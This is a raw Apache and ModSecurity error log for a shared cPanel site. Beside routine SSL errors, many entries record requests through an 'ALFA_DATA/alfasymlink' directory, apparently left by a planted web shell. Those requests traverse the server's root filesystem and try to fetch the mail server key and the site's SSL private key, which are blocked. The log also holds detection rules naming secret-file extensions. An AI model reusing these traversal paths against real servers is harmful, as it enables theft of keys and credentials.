[Sun Oct 25 05:46:03.761029 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 44.212.232.231:48086] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:46:07.551058 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 3.221.222.168:2899] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:46:11.566827 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 34.225.243.131:23065] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:46:13.822504 2026] [core:error] [pid 2799890:tid 2799890] (13)Permission denied: [client 144.76.19.24:63594] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1/smaps
[Sun Oct 25 05:46:15.560560 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 50.16.216.166:33266] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:46:23.623988 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 3.223.134.5:65386] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:46:27.524865 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 23.21.250.48:21647] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:46:35.398283 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 3.94.199.128:39717] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:46:43.479121 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 44.223.232.55:4827] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:46:47.560606 2026] [core:error] [pid 2806341:tid 2806341] (13)Permission denied: [client 44.205.180.155:16399] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/device:06/physical_node/driver/unbind
[Sun Oct 25 05:46:51.499693 2026] [core:error] [pid 2799890:tid 2799890] (13)Permission denied: [client 54.164.106.236:51332] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/LNXSYBUS:00/PNP0A03:00/physical_node/0000:00:01.2/rescan
[Sun Oct 25 05:46:55.358600 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 98.84.70.201:56797] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:47:03.276322 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 100.24.149.244:31823] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:47:11.275567 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 50.19.221.48:33080] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:47:19.441166 2026] [ssl:error] [pid 2806347:tid 2806347] (70014)End of file found: [client 3.222.85.38:50276] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:47:27.305772 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 54.210.152.179:43414] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:47:36.921768 2026] [ssl:error] [pid 2806347:tid 2806347] (70014)End of file found: [client 85.208.96.212:36188] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:47:39.050361 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 54.91.122.193:29025] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:47:50.981043 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 52.45.77.169:57602] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:47:53.740251 2026] [core:error] [pid 2799892:tid 2799892] (13)Permission denied: [client 85.208.96.198:18770] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_node_cache/objs_per_slab
[Sun Oct 25 05:47:54.974210 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 52.4.238.8:60880] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:47:57.216577 2026] [security2:error] [pid 2800173:tid 2800173] [client 43.155.157.239:53004] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/100"] [unique_id "at3QTcnrA_pwq9mjVbUIdwAAAAY"]
[Sun Oct 25 05:48:07.044140 2026] [core:error] [pid 2806347:tid 2806347] (13)Permission denied: [client 34.203.111.15:32088] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0e/subsystem/devices/device:01/wakeup/wakeup1/device/subsystem/drivers_probe
[Sun Oct 25 05:48:19.324045 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 52.54.249.218:5028] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:48:22.983836 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 54.80.73.122:23242] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:48:30.762050 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 34.206.193.60:40274] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:48:38.522413 2026] [core:error] [pid 2806347:tid 2806347] (13)Permission denied: [client 185.191.171.9:53962] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_1k/reclaim_account
[Sun Oct 25 05:48:38.696646 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 44.213.202.136:25422] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:48:42.760780 2026] [core:error] [pid 2800259:tid 2800259] (13)Permission denied: [client 52.45.29.57:55418] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/iosf_mbi_pci/bind
[Sun Oct 25 05:48:50.650376 2026] [ssl:error] [pid 2806341:tid 2806341] (70014)End of file found: [client 52.7.33.248:5812] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:48:58.580895 2026] [ssl:error] [pid 2806347:tid 2806347] (70014)End of file found: [client 34.202.88.37:52422] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:49:02.521514 2026] [core:error] [pid 2806345:tid 2806345] (13)Permission denied: [client 35.169.102.85:55988] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty1/subsystem/ttyS2/flags
[Sun Oct 25 05:49:06.032521 2026] [core:error] [pid 2806341:tid 2806341] (13)Permission denied: [client 85.208.96.196:22964] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_free_data/cpu_partial
[Sun Oct 25 05:49:10.452633 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 34.238.45.183:44036] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:49:14.326261 2026] [core:error] [pid 2800300:tid 2800300] (13)Permission denied: [client 54.235.158.162:40876] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/device:1d/eject
[Sun Oct 25 05:49:17.177951 2026] [security2:error] [pid 2800259:tid 2800259] [client 16.216.88.39:12288] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/exim.key"] [unique_id "at3Qnb2dQNaDuK1aHdolLgAAAAs"]
[Sun Oct 25 05:49:17.178448 2026] [security2:error] [pid 2800259:tid 2800259] [client 16.216.88.39:12288] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/exim.key"] [unique_id "at3Qnb2dQNaDuK1aHdolLgAAAAs"]
[Sun Oct 25 05:49:17.178760 2026] [security2:error] [pid 2800259:tid 2800259] [client 16.216.88.39:12288] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/exim.key"] [unique_id "at3Qnb2dQNaDuK1aHdolLgAAAAs"]
[Sun Oct 25 05:49:18.282757 2026] [ssl:error] [pid 2806341:tid 2806341] (70014)End of file found: [client 54.84.93.8:8461] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:49:22.315451 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 107.20.25.33:42321] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:49:26.265551 2026] [core:error] [pid 2799892:tid 2799892] (13)Permission denied: [client 18.213.27.222:18784] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/console/subsystem/tty31/subsystem/ttyS0/device/driver/unbind
[Sun Oct 25 05:49:34.189860 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 98.83.10.183:37091] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:49:36.673816 2026] [core:error] [pid 2800259:tid 2800259] (13)Permission denied: [client 185.191.171.13:64462] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/files_cache/shrink
[Sun Oct 25 05:49:38.181756 2026] [ssl:error] [pid 2799890:tid 2799890] (5)Input/output error: [client 54.147.238.89:16992] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:49:54.283922 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 3.224.104.67:4427] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:50:14.206336 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 3.224.215.150:10554] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:50:18.171629 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 23.22.59.87:38652] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:50:22.165185 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 35.171.141.42:39674] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:50:42.241130 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 44.215.61.66:31618] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:50:46.172799 2026] [ssl:error] [pid 2806347:tid 2806347] (70014)End of file found: [client 18.204.152.114:37946] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:50:54.243238 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 34.225.243.131:33076] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:50:54.243486 2026] [security2:error] [pid 2800300:tid 2800300] [client 34.225.243.131:33076] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory9/phys_device"] [unique_id "at3Q_tyUatkAjssgRUdxtQAAAA4"]
[Sun Oct 25 05:50:54.243533 2026] [security2:error] [pid 2800300:tid 2800300] [client 34.225.243.131:33076] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory9/phys_device"] [unique_id "at3Q_tyUatkAjssgRUdxtQAAAA4"]
[Sun Oct 25 05:50:58.182766 2026] [ssl:error] [pid 2806341:tid 2806341] (70014)End of file found: [client 98.84.70.201:46330] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:51:02.321377 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 44.207.252.58:36978] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:51:06.179575 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 52.70.209.13:31550] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:51:14.170284 2026] [ssl:error] [pid 2806341:tid 2806341] (70014)End of file found: [client 18.205.91.101:62962] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:51:22.164567 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 3.209.174.110:10406] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:51:54.172512 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 54.92.171.106:33797] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:51:55.126954 2026] [core:error] [pid 2806345:tid 2806345] (13)Permission denied: [client 185.191.171.3:58798] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-96/slabs
[Sun Oct 25 05:52:06.231793 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 54.83.180.239:33075] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:52:09.052590 2026] [core:error] [pid 2800176:tid 2800176] (13)Permission denied: [client 185.191.171.1:39174] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/firmware/dmi/tables/DMI
[Sun Oct 25 05:52:12.239827 2026] [core:error] [pid 2799890:tid 2799890] (13)Permission denied: [client 85.208.96.202:33094] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-96/destroy_by_rcu
[Sun Oct 25 05:52:14.306142 2026] [ssl:error] [pid 2806341:tid 2806341] (70014)End of file found: [client 52.3.155.146:10887] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:52:34.306517 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 52.3.156.186:5403] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:52:38.290156 2026] [core:error] [pid 2806347:tid 2806347] (13)Permission denied: [client 44.210.204.255:39913] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:01.2/subsystem/devices/0000:00:03.0/firmware_node/physical_node/rescan
[Sun Oct 25 05:52:42.150395 2026] [ssl:error] [pid 2800300:tid 2800300] (5)Input/output error: [client 52.200.93.170:25559] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:52:50.181292 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 52.45.15.233:41833] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:52:59.174799 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 185.191.171.18:12398] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:53:10.151675 2026] [core:error] [pid 2806345:tid 2806345] (13)Permission denied: [client 3.213.213.161:40883] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:06/physical_node/driver/new_id
[Sun Oct 25 05:53:14.277995 2026] [security2:error] [pid 2800176:tid 2800176] [client 43.157.147.3:34652] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at3RisAclEqdWzgpj08wwAAAAAc"]
[Sun Oct 25 05:53:14.278975 2026] [authz_core:error] [pid 2800176:tid 2800176] [client 43.157.147.3:34652] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 05:53:20.938775 2026] [core:crit] [pid 2806348:tid 2806348] (13)Permission denied: [client 120.29.110.98:4741] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/backuply/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/backuply/' is executable
[Sun Oct 25 05:53:20.938844 2026] [core:crit] [pid 2806348:tid 2806348] (13)Permission denied: [client 120.29.110.98:4741] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/pure-ftpd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/pure-ftpd/' is executable
[Sun Oct 25 05:53:20.939441 2026] [core:crit] [pid 2806348:tid 2806348] (13)Permission denied: [client 120.29.110.98:4741] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/chkservd.services_suspend/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/chkservd.services_suspend/' is executable
[Sun Oct 25 05:53:20.939547 2026] [core:crit] [pid 2806348:tid 2806348] (13)Permission denied: [client 120.29.110.98:4741] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/restartsrv/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/restartsrv/' is executable
[Sun Oct 25 05:53:20.939569 2026] [core:crit] [pid 2806348:tid 2806348] (13)Permission denied: [client 120.29.110.98:4741] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/chrony/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/chrony/' is executable
[Sun Oct 25 05:53:20.940120 2026] [core:crit] [pid 2806348:tid 2806348] (13)Permission denied: [client 120.29.110.98:4741] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/rpcbind/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/rpcbind/' is executable
[Sun Oct 25 05:53:20.940815 2026] [core:crit] [pid 2806348:tid 2806348] (13)Permission denied: [client 120.29.110.98:4741] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/cryptsetup/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/cryptsetup/' is executable
[Sun Oct 25 05:53:20.940858 2026] [core:crit] [pid 2806348:tid 2806348] (13)Permission denied: [client 120.29.110.98:4741] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/apache2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/apache2/' is executable
[Sun Oct 25 05:53:21.603075 2026] [authz_core:error] [pid 2800300:tid 2800300] [client 172.104.172.197:55770] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 05:53:22.156907 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 50.19.102.70:14513] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:53:33.788509 2026] [authz_core:error] [pid 2799890:tid 2799890] [client 172.104.172.197:52222] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 05:53:54.256445 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 35.153.86.200:4525] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:53:56.539056 2026] [core:error] [pid 2800259:tid 2800259] (13)Permission denied: [client 85.208.96.202:53750] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/posix_timers_cache/poison
[Sun Oct 25 05:53:58.286707 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 34.239.85.139:5366] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:54:02.149602 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 3.225.45.252:11428] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:54:06.152028 2026] [ssl:error] [pid 2806347:tid 2806347] (70014)End of file found: [client 54.87.95.7:40719] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:54:10.148754 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 100.29.107.38:31481] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:54:12.097600 2026] [security2:error] [pid 2800259:tid 2800259] [client 185.191.171.7:50070] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/b782e_1afa3_d024665279635e78817a310f83a1d972.key"] [unique_id "at3RxL2dQNaDuK1aHdolPwAAAAs"]
[Sun Oct 25 05:54:12.098076 2026] [security2:error] [pid 2800259:tid 2800259] [client 185.191.171.7:50070] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/b782e_1afa3_d024665279635e78817a310f83a1d972.key"] [unique_id "at3RxL2dQNaDuK1aHdolPwAAAAs"]
[Sun Oct 25 05:54:12.098590 2026] [security2:error] [pid 2800259:tid 2800259] [client 185.191.171.7:50070] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/b782e_1afa3_d024665279635e78817a310f83a1d972.key"] [unique_id "at3RxL2dQNaDuK1aHdolPwAAAAs"]
[Sun Oct 25 05:54:18.144080 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 54.85.7.119:53753] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:54:22.146515 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 23.23.214.190:33846] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:54:26.206956 2026] [ssl:error] [pid 2806347:tid 2806347] (70014)End of file found: [client 18.214.138.148:50071] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:54:38.144584 2026] [ssl:error] [pid 2800259:tid 2800259] (5)Input/output error: [client 52.54.249.218:9564] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:54:47.002073 2026] [core:error] [pid 2799892:tid 2799892] (13)Permission denied: [client 85.208.96.210:39904] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_rmap_item/validate
[Sun Oct 25 05:55:10.201438 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 54.86.59.155:38599] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:55:14.141214 2026] [ssl:error] [pid 2806347:tid 2806347] (70014)End of file found: [client 44.223.116.149:40584] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:55:22.346661 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 23.23.214.190:54599] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:55:23.773528 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 85.208.96.193:23502] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/ttyS0/closing_wait
[Sun Oct 25 05:55:26.143014 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 3.223.181.32:14515] AH02013: coalesce failed to read from data bucket
